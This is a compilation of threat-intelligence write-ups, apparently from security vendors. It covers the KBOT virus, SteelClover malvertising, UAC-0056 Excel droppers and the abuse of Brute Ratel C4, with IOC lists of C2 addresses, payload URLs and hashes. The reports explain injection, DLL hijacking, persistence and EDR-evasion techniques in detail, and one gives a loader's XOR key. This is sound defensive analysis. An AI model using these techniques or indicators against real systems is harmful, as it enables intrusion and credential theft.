- 78[.]153.5.183:666
- 8[.]209.253.198:9000
- 83[.]234.161.187:9999
- 85[.]159.44.163:9050
- 95[.]217.251.233:1080 |
# KBOT: Sometimes They Come Back
**Authors**
Anna Malina
Although by force of habit many still refer to any malware as a virus, this once extremely common class of threats is gradually becoming a thing of the past. However, there are some interesting exceptions to this trend: we recently discovered malware that spread through injecting malicious code into Windows executable files; in other words, a virus. It is the first “living” virus in recent years that we have spotted in the wild.
We named it KBOT, and Kaspersky solutions detect the malware and its components as Virus.Win32.Kpot.a, Virus.Win64.Kpot.a, Virus.Win32.Kpot.b, Virus.Win64.Kpot.b, and Trojan-PSW.Win32.Coins.nav.
## What Does KBOT Do
KBOT penetrates users’ computers via the Internet or a local network, or from infected external media. After the infected file is launched, the malware gains a foothold in the system, writing itself to Startup and the Task Scheduler, and then deploys web injects to try to steal the victim’s bank and personal data. For the same purpose, KBOT can download additional stealer modules that harvest and send to the C&C server almost full information about the user: passwords/logins, cryptowallet data, lists of files and installed applications, and so on. The malware stores all its files and collected data in a virtual file system encrypted using the RC6 algorithm, making it hard to detect.
## Infection Methods
KBOT infects all EXE files on connected logical drives (HDD partitions, external media, network drives) and in shared network folders by adding polymorphic malicious code to the file body. To do so, the malware listens to the connection events of local and network logical drives using the IID_IwbemObjectSink interface and a query of type SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA ‘Win32_LogicalDisk, and overrides the Indicate function of the IWbemObjectSink interface, where for each drive it performs recursive scanning of directories and infects EXE files.
The malware retrieves paths to shared network resources using the API functions NetServerEnum and NetShareEnum, before scanning directories and infecting executable EXE files. Like many other viruses, KBOT patches the entry point code, where the switch to the polymorphic code added to the start of the code section is implemented. As a result, the original code of the entry point and the start of the code section are not saved.
The jmp command makes the switch to the polymorphic code. The virus also adds encrypted data to the end of one of the following sections: .rsrc, .data, .rdata. Data located after the selected section is shifted. At the same time, the parameters of the relocation table directory, resources directory, imports directory, parameters of sections, and other PE file parameters are modified accordingly. The encrypted data contains the body of the main malware module (DLL library), as well as code for decrypting, loading into memory, and running this library. The data is encrypted using the XOR method, plus the library is additionally encrypted with the RC4 algorithm and compressed using Aplib.
## KBOT Functions
### Injects
To conceal malicious activity in the system and its ability to operate in the context of system applications, KBOT attempts to inject code into running system processes. Using the API functions OpenProcess/OpenProcessToken and GetTokenInformation, it retrieves the SID of the process into whose address space the main malware module is loaded. If the SID of the process matches WinLocalSystemSid, KBOT uses the CreateProcess API with the CREATE_SUSPENDED flag to create the new process svchost.exe, and then performs a classic inject: using the API functions NtCreateSection/NtMapViewOfSection, it allocates memory in the address space of the svchost.exe process, where it copies the header and sections of the main module, after which it resolves the imports from the import directory and does manual relocations using information from the relocation table directory. Next, KBOT calls the CreateRemoteThread/RtlCreateUserThread API with the address of the entry point. If the SID of the process does not match WinLocalSystemSid, the malware sets SeDebugPrivilege debug privileges and tries to perform a similar inject in the running processes services.exe and svchost.exe, whose SIDs match WinLocalSystemSid, as well as in the explorer.exe process.
KBOT also injects the DLLs specified in the injects.ini file (located in the virtual file storage) into the processes listed in the same INI file. Configuration files, including injects.ini, are encrypted in one of the last sections of the main module of the bot, from where they are read, decrypted, and moved to the virtual file storage. The sample first searches for the current version of the required file in its storage; in case of failure, it reads the file data from the original version, which is located in the body of the bot itself in encrypted form. A special bot module — JF (joined files) — handles the processing of such files. At the start of the encrypted data of every such file, there is a structure with a data description containing a JF signature.
The above-mentioned JUPITER.32 and JUPITER.64 are DLLs that perform web injects that help the malware steal users’ personal data entered in browsers: passwords, credit card/wallet numbers, etc.; such injects are carried out through spoofing web page content as a result of injecting malicious code into the HTTP traffic. For this, it is necessary to modify the code of the browser and system functions responsible for the transmission and processing of traffic. To do so, after performing an inject in the system and browser processes, the web-injects library patches the code of functions in popular browsers (Chrome, Firefox, Opera, Yandex.Browser) and the code of system functions for transmitting traffic.
### DLL Hijacking
So as to operate in the address space of a legitimate system application when the system boots, the malware performs a DLL hijacking attack by infecting the system libraries specified in the import directory of the system executable file and placing them next to the system file, which is then written to Startup.
In the system folder C:\Windows\System32, the malware searches for executable EXE files suitable for attack, excluding from consideration the following files:
1. Containing the strings level=”requireAdministrator” and >true in the manifest. That is, executable files that need administrator rights to run. Calling such applications invokes a UAC dialog box.
2. Containing in the import table library names starting with API-MS-WIN- and EXT-MS-WIN-. That is, files that contain virtual library names in imports and use the API Set redirection table in ApiSetSchema.dll. For such files, DLL hijacking is impossible to implement, because virtual names are translated into system library names with full paths.
3. The names of which are contained in the stop list.
Having found an executable file that meets all the criteria, KBOT creates a folder with an arbitrary name in the system directory, and copies the detected EXE file to it, as well as the system DLLs located in the import directory. To perform these operations with administrator privileges, the malware generates a shellcode.
This shellcode, along with the necessary parameters, is injected into the explorer.exe process using the CreateRemoteThread API function. After copying, the virus creates an arbitrarily named file in the same folder, which is an encrypted file storage; VFAT is used as the file system. Located in the storage is the current version of the main bot module, configuration files received from the C&C, system information, and other service data.
As a result, the directory containing the system application, DLLs from the import directory, and the KBOT service data storage looks as follows. Next, KBOT infects the copied system libraries. The code of the DLLEntryPoint entry point is overwritten with the following code. As when infecting the executable file, the virus adds polymorphic code to the code section and encrypted code at the end of one of the .rsrc, .data, or .rdata sections. Unlike the code added to the EXE file, this code does not contain the encrypted main module of the bot, rather it reads and decrypts it from the file storage. Functions imported by the system EXE file from the created folder have their start overwritten with the code for performing the switch to the polymorphic code.
The further operating algorithm of the malicious code is analogous to that of the malicious code in the infected EXE files, except that the main bot module is read from the encrypted storage. The original data of the infected DLLs is not saved.
## Startup
To run at system startup, the malware uses the following methods:
1. It writes itself to Software\\Microsoft\\Windows\\CurrentVersion\\Run. To prevent a UAC window from appearing, it sets the value of the __compat_layer environment variable to RunAsInvoker. Using the CreateDesktop API, it creates a new desktop. Within the framework of this desktop, it uses the CreateProcess API to launch the regedit.exe process. It injects into this process the shellcode, which uses API functions for working with the registry to write the full path of the system EXE to the specified registry key.
2. Using WMI tools, a task is created to run the system EXE file in Task Scheduler, next to which are the infected malicious DLLs.
KBOT performs a preliminary check of the current tasks in Task Scheduler, reads the contents of DLLs imported from the tasks by the EXE files, and searches for the infection signature data. If there are no tasks with infected files, it creates a new task on behalf of the local system account (S-1-5-18) without a user name.
## Remote Management
To remotely manage the victim’s computer, KBOT establishes reverse connections with the servers listed in the BC.ini file. To create several simultaneous sessions using the RDP protocol, the malware configures the Remote Desktop Server settings:
1. It finds processes that have the termserv.dll library loaded in their memory.
2. It patches the memory section of the found process where termserv.dll is loaded. Different patching code is applied for different system versions.
3. During the patching process, it searches the memory of the module for specific sets of bytes, and replaces them with those specified.
Next, KBOT duly edits the values of the registry keys responsible for TermService settings. It then restarts TermService and creates a user in the system for remote connections with the SID WinBuiltinRemoteDesktopUsersSid.
## C&C Communication
The malware, according to a timer and in a separate thread, starts a process for receiving and processing commands from the server. The list of commands is sent in the form of a buffer. To receive commands, the wininet.dll APIs for network connections are used. The domains for receiving commands are located in the hosts.ini file, which the malware periodically updates. All configuration files with C&C data and connection parameters are stored in encrypted form in one of the last sections of the main bot module; newer versions are stored in an encrypted VFAT storage. Files received from C&C are placed in an encrypted storage.
Bot IDs and detailed information about the infected system (computer name, domain, system language and version, list of local users, list of installed security software, etc.) are sent to C&C in advance. Traffic is encrypted using the AES algorithm.
The malware can receive the following commands from the C&C server:
- DeleteFile — delete the specified file from the file storage.
- UpdateFile — update the specified file in the file storage.
- UpdateInjects — update injects.ini.
- UpdateHosts — update hosts.ini.
- UpdateCore — update the main bot module and the configuration file kbot.ini.
- Uninstall — uninstall the malware.
- UpdateWormConfig — update worm.ini containing information about the location of EXE files to be infected.
## Obfuscation
To complicate the analysis of its malicious activity, KBOT uses a set of obfuscation tools. When it loads, the main bot module checks whether the imported functions are patched for breakpoints; if so, it reloads the imported DLLs into memory, zeroes the names of the imported functions, and uses string obfuscation. The encrypted strings are stored in a special array of structures; to access them, the decryption function is called with the number of the string structure in the array. The strings are encrypted using the RC4 algorithm, and the decryption key is stored in the structure.
The malware suspends threads of the well-known vendor’s security solution (like the Carberp Trojan), and in the context of its process finds threads whose code was run from DLLs located at the path mask *\\Trusteer\\Rapport\\*.dll. Next, the malware scans the contents of the DLL for signatures of interest to it. If any are present, it suspends execution of the thread, patches the context so that it performs the Sleep function, and resumes the thread. KBOT then scans the code of the imported functions for patches. If the code is patched (for example, a 0xcc breakpoint has been added), it reloads the imported libraries into memory and resolves imports.
## Conclusion
The KBOT virus poses a serious threat, because it is able to spread quickly in the system and on the local network by infecting executable files with no possibility of recovery. It significantly slows down the system through injects into system processes, enables its handlers to control the compromised system through remote desktop sessions, steals personal data, and performs web injects for the purpose of stealing users’ bank data.
## IOC
**Executable files:**
Infected EXEs:
x86 — 2e3a7d4cf86025f5873ebddf3dcacf72
x64 — 46b3c12b44f587ae25d6f38d2a8c4e0f
Infected DLLs:
x86 – 5f00df73bb6e84c49b9bf33ff1d552c3
x64 – 1c15c98bc57c48140558d0e8d71b4ecd
Stealer:
c37058752b2c055ff3a3b3eac50f1350
**C&C**
213.252.245.229
my-backup-club-911[.]xyz
213.252.245.146/au.exe
sync-time[.]info/au.exe
sync-time[.]icu/au.exe
sync-time[.]club/au.exe |
# SteelCloverによるGoogle広告経由でマルウェアを配布する攻撃の活発化について
本日の記事は、SOCアナリスト小池倫太郎の記事です。
2023年1月初めから複数の日本企業において、Google広告経由でマルウェアをダウンロードするインシデントが急増しています。IcedIDやAurora Stealerを配布するものなど、観測されている攻撃キャンペーンは数多く存在しますが、特に私たちがSteelCloverと呼んでいる攻撃グループによるものが多くなっています。本稿では、直近で観測されたGoogle広告経由でのマルウェア配布事例の中から、SteelCloverによる攻撃の最新動向を共有します。
## SteelClover
SteelCloverは少なくとも2019年から活動している攻撃グループで、金銭を目的に攻撃を行っています。Malsmokeと呼ばれる攻撃キャンペーンを実行している攻撃グループであり、Batloaderと呼ばれるマルウェアを使用しており、DEV-0569やWater Minyadesと重複があります。SteelCloverによる攻撃は情報窃取の他に、最終的にランサムウェア実行に至るという情報もあります。
私たちはSteelCloverによる攻撃を5つのキャンペーンに分類しており、2023年2月上旬時点ではBatAppキャンペーンとFakeGPGキャンペーンが観測されています。これまでも日本国内で数回スパイクが確認されていましたが、2023年1月上旬から再び活発化しています。SteelCloverは現在までに様々な変化が観測されており、攻撃手法も日々アップデートされています。以下にSOCで把握しているSteelCloverのイベントを示します。
## 最新の攻撃フロー
SteelCloverは日々アップデートを続けており、攻撃フローも変化していますが、以下では2023年2月上旬に観測されたFakeGPGキャンペーンによる攻撃をもとにしています。
ユーザがGoogle検索から何らかのキーワードを検索した際、検索結果ページの最上位にGoogle広告が表示されることがあります。現在急増している攻撃(SteelCloverに限らず)では、著名なソフトウェアの名前を検索した際に表示されるGoogle広告を攻撃起点としています。
SteelCloverの悪性ファイル配布サイトへリダイレクトする悪性広告は正規サイトよりも上位に表示されており、ユーザが誤ってアクセスしてしまう恐れがあります。このとき表示される悪性広告は改ざんされたWebサイトであると考えられます。悪性ファイル配布サイトは正規サイトをコピーして作成されており、見た目は正規サイトとほとんど変わりません。ダウンロードボタンをクリックすることで悪性ファイルがダウンロードされます。
悪性ファイルはMSIファイルであり、MSIファイルを実行することでPowerShellコードが実行されます。その結果、UrsnifとRedline Stealerがダウンロード・実行され、情報窃取が行われます。
## 悪性ファイル配布サイト
悪性ファイルを配布するサイトは著名なソフトウェアのWebサイトを模して作成されています。SOCではこれまでに50種類以上SteelCloverによる悪性ファイル配布サイト(FakeGPGキャンペーンに限らず、別キャンペーンも含む)を確認しています。
以前はAnyDeskやTeamViewerのようなリモートデスクトップツールや、SlackやMicrosoft Teamsのようなコミュニケーションツール、Adobe AcrobatやMozilla Thunderbirdのような業務上使用するようなソフトウェアのWebサイトが模倣されてきました。しかし、最近では幅広く著名なソフトウェアを模倣する傾向にあり、それらを予め想定することは難しくなっています。
## MSIファイル
MSIファイルはメモリが4100MB以上ないと実行できないように制限が掛けられています。これは解析・サンドボックス環境での動作を避けるためであると考えられます。MSIファイルは実行されると、Custom Action機能を用いてPowerShellコードを実行します。PowerShellコードは更に別のPowerShellコードをWebサイト上からダウンロード・実行します。
## PowerShellコード
MSIファイルによってダウンロード・実行されたPowerShellコードは、まずAdd-MpPreferenceコマンドを用いていくつかの拡張子やディレクトリ、プロセスをMicrosoft Defenderの除外設定に追加します。次にwgetコマンドを用いてGPGファイルをダウンロードします。これは後述するGpg4Winを用いて復号され、最終的にUrsnifとRedline Stealerとなります。その後、正規のインストーラファイルをダウンロードし、実行します。ユーザから見ると、確かに正規のインストーラが実行されているため、悪性ファイルを開いてしまったことを自覚しにくくなっています。また、先にダウンロードしたGPGファイルを復号するために、Gpg4Winがインストールされ、ファイルを復号します。このときダウンロードされるGpg4Winは長期に渡って同一の非常に古いバージョンであり、かつHTTPでダウンロードするため、検知することは容易です。最後に、予めダウンロードしたNSudoを用いて、復号したUrsnifとRedline Stealerを実行します。
## 実行されるマルウェア
PowerShellコードによって実行されるマルウェアのうち、rundll32.exeを用いて実行されるZeip.dllはUrsnifです。Ursnifは元々バンキングトロジャンであり金融関連の情報窃取を目的としてきましたが、現在SteelCloverが使用しているUrsnifはVNCのモジュールを使用しており、端末へのアクセスを得るために使用されていると考えられます。PowerShellコードによって実行されるマルウェアのうち、Zeip.exeは.NET製のダウンローダであり、実行されるとRedline Stealerをダウンロード・実行します。Redline Stealerは端末内に保存された機密情報を窃取します。
## SteelCloverの背後
SteelCloverはExploit Kitやマルウェアなどを独自で開発しているわけではなく、販売されているものを使用していますが、攻撃者はミスが多く、随所に攻撃者の特徴が反映されています。例えば、表面的なものであれば、Gpg4Winによってマルウェアを復号する際に使用されるパスワードや、Redline StealerをダウンロードするZeip.exeで使用されている関数名などはロシアを想起させます。これらは攻撃者が意図して自らそうしているわけですが、はじめからそうであったわけではなく、数カ月ほど前からその傾向が顕著となっています。また、SteelCloverが管理する攻撃者インフラ(悪性ファイル配布サーバやマルウェア配布サーバ)上で使われている言語や、攻撃者のミスで漏洩した様々な情報にもロシア由来のものが多数含まれていました。これらのことから、SteelCloverはロシア語話者が関与している攻撃グループであると考えられます。
## おわりに
SteelCloverは数年前から活動している攻撃グループであり、現在ではGoogle広告経由で悪性ファイルを配布し、UrsnifやRedline Stealerに感染させています。日々積極的にアップデートを続けており、度々日本でも観測されているため、今後も注意が必要です。
## IoC
- 47[.]251.52.170
- 37[.]220.83.95
- 5[.]178.2.159
- 81[.]177.136.237
- 81[.]177.6.46
- 62[.]204.41.176 |
# Cyberespionage Actor Deploying Malware Using Excel
Researchers have found that cyberespionage actor UAC-0056, also known as SaintBear, UNC2589, and TA471, is now using a macro-embedded Excel document to target several entities in Ukraine, including ICTV, a private TV channel.
"Unlike previous attacks that were trying to convince victims to open a URL and download a first-stage payload or distributing fake translation software, in this campaign the threat actor is using a spear-phishing attack that contains macro-embedded Excel documents," researchers at cybersecurity firm Malwarebytes say.
The UAC-0056 group, which cybersecurity firm SentinelOne recently reported was targeting Ukrainians with fake translation software, is known to have performed a wiper attack in January 2022 on multiple Ukrainian government computers and websites. In March, Cert-UA reported the group targeting state organizations in Ukraine using malicious implants called GrimPlant, GraphSteel, and Cobalt Strike Beacon. The group is also known to have performed the WhisperGate disruptive attack against Ukrainian government entities in early 2022.
## Technical Analysis
The attack starts with a phishing email in which a document attachment containing a malicious macro drops an embedded payload. Then, further payloads are downloaded from the attacker server in Base64 format.
The researchers observed phishing emails being distributed from at least March 23 to March 28, with the subject "wage arrears" and with the body of all the emails containing a similar message: "Wage arrears. Updated automatically. Please send your offer to reduce your salary arrears." The attached document contains a similar message to the email body: "This document contains an embedded macro that drops the first stage payload called 'base-update.exe'. The payload has been saved in a 'very hidden sheet' named 'SheetForAttachedFile,'" the researchers say.
Malwarebytes researchers found that this sheet contains the filename, the date the payload is attached (March 21, 2022), the file size, and the content of the attached file in hex format. "The macro reads the content of the embedded file in the hidden sheet and writes it into the defined location for this payload which is the 'AppDataLocalTemp' directory. The macro used by the actor is taken from a website that described and provided code for a method to attach and extract the files from an Excel workbook," the researchers say.
## Extracted Files
### Elephant Dropper
Researchers say that the Elephant dropper is the initial executable deployed in this attack; it is a simple dropper that deploys further stages. This dropper is written in the Go programming language and is signed with a stolen Microsoft certificate. "The strings in the binary suggest that it was actually named as Elephant Dropper by the attackers themselves," the researchers say. "It checks if the 'C:Users{user}.java-sdk' directory exists on the system and creates it if it does not. The strings in the binary are encoded and are only decoded when they are required to be used."
The dropper also decodes the command-and-control address from a string and then downloads a Base64 encoded binary from the C2 and writes it to "C:Users{user}.java-sdkjava-sdk.exe."
### Elephant Downloader
Elephant Downloader, which is also written in the Go programming language, is executed by the Dropper. The purpose of this payload is to maintain persistence and to deploy the next two stages of the attack. "The strings in this executable are encoded in the same way as in the Dropper. It makes itself persistent through the auto-run registry key," the researchers say. "The downloader is responsible for getting the implant and the client; the URL paths for the payloads are stored in encoded form in the binary. It downloads the implant and the client."
In the next stage, the Elephant downloader decodes the file names, which are also stored in an encoded format and creates a file. The file name of the implant is oracle-java.exe, and the client is microsoft-cortana.exe.
### Elephant Implant
Elephant Implant, also tracked as GrimPlant backdoor, seems to be one of the most important payloads in this attack, the researchers say. They describe how it communicates with the C2 on port 80 and gets the C2 address encrypted from its parent process. "The implant makes use of gRPC to communicate with the C2, it has a TLS certificate embedded in the binary and makes use of SSL/TLS integration in gRPC. This allows the malware to encrypt all the data that is being sent to the C2 via gRPC," the researchers say.
This implant also uses the MachineID library to derive a unique ID for each machine and gets the IP address of the machine by making a request to https://api.ipify.org/. The implant collects information related to the OS in a function named GetOSInfo. As part of this, the malware collects the hostname, OS name, and number of CPUs in the system, and a function named GetUserInfo collects name, username, and path to Home directory of the current user.
### Elephant Client
The last payload that the researchers detailed is named elephant_client by the actor. It is also tracked as the GraphSteel backdoor. This final payload is a data stealer, the researchers say. "Similar to other payloads in this attack chain, this payload receives the C2 server as a parameter in Base64 format which is AES encrypted format of the server. Decoding the Base64 string gives the C2 IP address in AES encrypted format. The actor uses a key to AES decrypt (ECB-NoPadding mode) the C2 address," the researchers say.
Upon successful connection with its C2 server, it starts collecting data and exfiltrating it into the server. Initially, it collects basic information about the users and sends it to the server. The collected data is Base64 encoded and includes hostname, OS name (windows), number of CPUs, IP address, name, username, and home directory. Once this is finished, the client tries to steal credentials from the victim's machine. The actor steals data from these services: Browser credentials, Wi-Fi information, Credentials manager data, Mail accounts, Putty connections data, and Filezilla credentials. |
# When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors
**By Mike Harbison and Peter Renals**
**July 5, 2022**
**Category:** Threat Advisory/Analysis
**Tags:** APT 29, brute ratel c4, pentest tool, red teaming tool
## Executive Summary
Unit 42 continuously hunts for new and unique malware samples that match known advanced persistent threat (APT) patterns and tactics. On May 19, one such sample was uploaded to VirusTotal, where it received a benign verdict from all 56 vendors that evaluated it. Beyond the obvious detection concerns, we believe this sample is also significant in terms of its malicious payload, command and control (C2), and packaging.
The sample contained a malicious payload associated with Brute Ratel C4 (BRc4), the newest red-teaming and adversarial attack simulation tool to hit the market. While this capability has managed to stay out of the spotlight and remains less commonly known than its Cobalt Strike brethren, it is no less sophisticated. Instead, this tool is uniquely dangerous in that it was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities. Its effectiveness at doing so can clearly be witnessed by the aforementioned lack of detection across vendors on VirusTotal.
In terms of C2, we found that the sample called home to an Amazon Web Services (AWS) IP address located in the United States over port 443. Further, the X.509 certificate on the listening port was configured to impersonate Microsoft with an organization name of “Microsoft” and organization unit of “Security.” Additionally, pivoting on the certificate and other artifacts, we identified a total of 41 malicious IP addresses, nine BRc4 samples, and an additional three organizations across North and South America who have been impacted by this tool so far.
This unique sample was packaged in a manner consistent with known APT29 techniques and their recent campaigns, which leveraged well-known cloud storage and online collaboration applications. Specifically, this sample was packaged as a self-contained ISO. Included in the ISO was a Windows shortcut (LNK) file, a malicious payload DLL, and a legitimate copy of Microsoft OneDrive Updater. Attempts to execute the benign application from the ISO-mounted folder resulted in the loading of the malicious payload as a dependency through a technique known as DLL search order hijacking. However, while packaging techniques alone are not enough to definitively attribute this sample to APT29, these techniques demonstrate that users of the tool are now applying nation-state tradecraft to deploy BRc4.
Overall, we believe this research is significant in that it identifies not only a new red team capability that is largely undetectable by most cybersecurity vendors, but more importantly, a capability with a growing user base that we assess is now leveraging nation-state deployment techniques. This blog provides an overview of BRc4, a detailed analysis of the malicious sample, a comparison between the packaging of this sample and a recent APT29 sample, and a list of indicators of compromise (IoCs) that can be used to hunt for this activity. We encourage all security vendors to create protections to detect activity from this tool and all organizations to be on alert for activity from this tool.
Palo Alto Networks customers receive protections from the threats described in this blog through Threat Prevention, Cortex XDR, and WildFire malware analysis. Full visualization of the techniques observed, relevant courses of action, and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.
## Brute Ratel C4 Overview
Brute Ratel C4 made its initial debut as a penetration testing tool in December 2020. At the time, its development was a part-time effort by a security engineer named Chetan Nayak (aka Paranoid Ninja) living in India. According to his website (Dark Vortex), Nayak amassed several years of experience working in senior red team roles across western cybersecurity vendors. Over the past 2.5 years, Nayak introduced incremental improvements to the pentest tool in terms of features, capabilities, support, and training.
In January 2022, Nayak left his day job in order to pursue full-time development and training workshops. That same month, he released Brute Ratel v0.9.0 (Checkmate), which is described as the “biggest release for Brute Ratel till date.” However, of greater concern, the release description also specifically noted that “this release was built after reverse engineering several top tier EDR and Antivirus DLLs.”
Our analysis highlights the ongoing and relevant debate within the cybersecurity industry surrounding the ethics relating to the development and use of penetration testing tools that can be exploited for offensive purposes.
BRc4 currently advertises itself as “A Customized Command and Control Center for Red Team and Adversary Simulation.” On May 16, Nayak announced that the tool had gained 480 users across 350 customers. The latest version, Brute Ratel v1.0 (Sicilian Defense), was released a day later on May 17, and is currently offered for sale at a price of $2,500 per user and $2,250 per renewal. With this price point and customer base, BRc4 is positioned to take in more than $1 million dollars in sales over the next year.
In terms of features, BRc4 advertises the following capabilities:
- SMB and TCP payloads provide functionality to write custom external C2 channels over legitimate websites such as Slack, Discord, Microsoft Teams, and more.
- Built-in debugger to detect EDR userland hooks.
- Ability to keep memory artifacts hidden from EDRs and AV.
- Direct Windows SYS calls on the fly.
- Egress over HTTP, HTTPS, DNS Over HTTPS, SMB, and TCP.
- LDAP Sentinel provides a rich GUI interface to query various LDAP queries to the domain or a forest.
- Multiple command and control channels – multiple pivot options such as SMB, TCP, WMI, WinRM, and managing remote services over RPC.
- Take screenshots.
- x64 shellcode loader.
- Reflective and object file loader.
- Decoding KRB5 ticket and converting it to hashcat.
- Patching Event Tracing for Windows (ETW).
- Patching Anti Malware Scan Interface (AMSI).
- Create Windows system services.
- Upload and download files.
- Create files via CreateFileTransacted.
- Port scan.
## From Click to Brute
The file in VirusTotal named Roshan_CV.iso (SHA256: 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C) appears to be a curriculum vitae (similar to a resume) of an individual named Roshan. It was uploaded to VirusTotal on May 19, 2022, from Sri Lanka. The ISO file extension refers to an optical disc image file, derived from the International Organization for Standardization’s ISO 9960 file system, which is typically used to back up files for CD/DVD. The ISO file is not malicious and requires a user to double-click, which mounts the ISO as a Windows drive. Finally, the archived files of the ISO are displayed to the user. In this case, when the ISO is double-clicked, a user is presented with a file named Roshan-Bandara_CV_Dialog, which has a fake icon image of Microsoft Word, purporting to be an individual's CV, and written in Microsoft Word. From the window dialog box, it can be ascertained that the ISO was assembled on May 17, 2022, which coincidentally is the same day the new BRc4 was released.
If the user were to double-click on the file, it would then install Brute Ratel C4 on the user's machine. By default, on Windows operating systems, hidden files are not displayed to the user. If the display of hidden files is enabled, the user sees a Windows shortcut file (LNK) with the following properties:
- Link CLSID: 20D04FE0-3AEA-1069-A2D8-08002B30309D
- Command line arguments: %windir%/system32/cmd.exe /c start OneDriveUpdater.exe
- Icon location: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
When Roshan-Bandara_CV_Dialog is double-clicked, the following actions occur:
1. cmd.exe is launched with the parameters of: /c start OneDriveUpdater.exe. The /c parameter instructs cmd.exe to launch OneDriveUpdater.exe via Windows start command from the current working directory and exit.
2. OneDriveUpdater.exe is a digitally signed binary by Microsoft that is used to synchronize data from a local machine to the cloud. It is not malicious and is being abused to load the actor’s DLL. Once OneDriveUpdater.exe is executed, the following actions occur:
1. Since Version.dll is a dependency DLL of OneDriveUpdater.exe and exists in the same directory as OneDriveUpdater.exe, it will be loaded.
2. Version.dll has been modified by the actors to load an encrypted payload file, OneDrive.update. The modification decrypts the file and in-memory loads the first stage of shellcode. To maintain code capabilities, the actors use DLL API proxying to forward requests to the legitimate version.dll named vresion.dll. Vresion.dll is a dependency file of the actor’s version.dll and will be loaded with the actor’s version.dll.
3. The in-memory code, that is Brute Ratel C4, executes as a Windows thread in the RuntimeBroker.exe process space and begins to communicate with IP 174.129.157[.]251 on TCP port 443.
The flow of execution is the following:
- Roshan_CV.ISO → Roshan-Bandara_CV_Dialog.LNK → cmd.exe → OneDriveUpdater.exe → version.dll → OneDrive.Update
- Decret.ISO → Decret.LNK → cmd.exe → HPScan.exe → version.dll → HPScanApi.dll
The delivery of packaged ISO files is typically sent via spear phishing email campaigns or downloaded to the victim by a second-stage downloader. While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.
## Modification of Version.dll
Version.dll is a modified version of a legitimate Microsoft file written in C++. The implanted code is used to load and decrypt an encrypted payload file. The decrypted payload is that of shellcode (x64 assembly) that is further used to execute Brute Ratel C4 on the host. In order for Version.dll to maintain its code capabilities for OneDriveUpdater.exe, the actors include the legitimate digitally signed Microsoft version.dll and named it vresion.dll. Any time OneDriveUpdater.exe makes a call into the actor’s Version.dll, the call is proxied to vresion.dll. Because of this, the actor’s version.dll will load vresion.dll as a dependency file.
The implanted code begins when the DLL is loaded via DLL_PROCESS_ATTACH and performs the following at the DLLMain subroutine:
1. Enumerate all processes and locate the process ID (PID) for Runtimebroker.exe.
2. Read the payload file OneDrive.Update from the current working directory.
3. Call the Windows API ntdll ZwOpenProcess using the process ID from step 1. The process is opened with full control access.
4. Decrypt the payload file using the XOR encryption algorithm with a 28-byte key of: jikoewarfkmzsdlhfnuiwaejrpaw
5. Call the Windows API NtCreateSection, which creates a block of memory that can be shared between processes. This API is used to share memory with Runtimebroker.exe and Version.dll.
6. Two calls into the Windows API NtMapViewOfSection. The first call maps the contents of the decrypted payload into the current process memory space, and the second call maps the contents into the Runtimebroker.exe memory space.
7. Calls the Windows API NtDelayExecution and sleeps (pauses execution) for ~4.27 seconds.
8. Call the Windows API NtCreateThreadEx. This API starts a new thread with the start address of the memory copied to Runtimebroker.exe.
9. Calls the Windows API NtDelayExecution and sleeps (pauses execution) for ~4.27 seconds.
10. Finished.
The technique outlined above uses process injection via undocumented Windows NTAPI calls. The decrypted payload is now running within the runtimebroker.exe memory space.
## X64 Shellcode – Decrypted OneDrive.Update
The decrypted payload file is x64 shellcode (assembly instructions) that involves a series of executions to unpack itself. The assembly instructions involve multiple push and mov instructions. The purpose of this is to copy the Brute Ratel C4 code (x64 assembly) onto the stack eight bytes at a time and eventually reassemble it into a memory space for execution – a DLL with a stripped MZ header. Using a series of push and mov instructions evades in-memory scanning as the shellcode is assembled in blocks versus the entire code base being exposed for scanning.
The entry point of the decrypted payload is as follows:
1. Using API hashing (ROR13 – rotate right 13) looks up the hash for NtAllocateVirtualMemory. All API calls are made via API hash lookups.
2. Resolves the system call index from the System Service Dispatch Table (SSDT) for NtAllocateVirtualMemory. All Windows API functions are made via syscalls, which is a feature of Brute Ratel C4 (Syscall Everything).
3. Calls the Windows API NtAllocateVirtualMemory, allocating 0x3000 bytes of memory.
4. Makes a second Windows API call into NtAllocateVirtualMemory, which allocates memory for the configuration file used by Brute Ratel C4.
5. Copies the shellcode that was pushed onto the stack in the previous steps to the newly allocated memory segment.
6. Changes the protection of the newly allocated memory block using Windows API call NtProtectVirtualMemory.
7. Calls NtCreateThreadEx with the start address of the newly allocated memory and passes the configuration data as a parameter.
8. Finished.
The following is a snippet of the code that calls NtCreateThreadEx and starts the execution of the second-stage shellcode.
## Target Network Infrastructure
The IP 174.129.157[.]251 is hosted on Amazon AWS, and Palo Alto Networks Cortex Xpanse history shows the IP had TCP port 443 open from April 29, 2022, until May 23, 2022, with a self-signed SSL certificate impersonating Microsoft Security:
- subjectFullName: C=US,ST=California,O=Microsoft,OU=Security,CN=localhost
- Serial Number: 476862511373535319627199034793753459614889484917
- sha256_fingerprint: d597d6572c5616573170275d0b5d5e3ab0c06d4a9104bbdbe952c4bcb52118c9
Once the SSL handshake to IP 174.129.157[.]251 is complete, the following data is sent via HTTP POST to the Brute Ratel C4 listener port.
## Identifying OneDrive.Update
To identify the decrypted in-memory payload as being associated with Brute Ratel C4, we conducted hunting based on the unique in-memory assembly instructions, push and mov. These instructions are used to build the second layer of shellcode. Searching across VirusTotal, we found a second sample with the same push and mov instructions:
- File name: badger_x64.exe
- SHA256: 3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE
- File Type: Windows Executable (x64)
Initially, what stood out to us was the filename containing the word “badger.” According to the Brute Ratel C4 website, the word “badger” represents payloads used for remote access. When uploaded to VirusTotal, only two out of 66 vendors considered the sample malicious. Currently, 12 vendors identify the sample as malicious with eight classifying this sample as “Brutel,” further supporting that our in-memory code is somehow associated with that of Brute Ratel C4.
Side-by-side comparison of the entry point of badger_x64.exe and our decrypted OneDrive.Update sample:
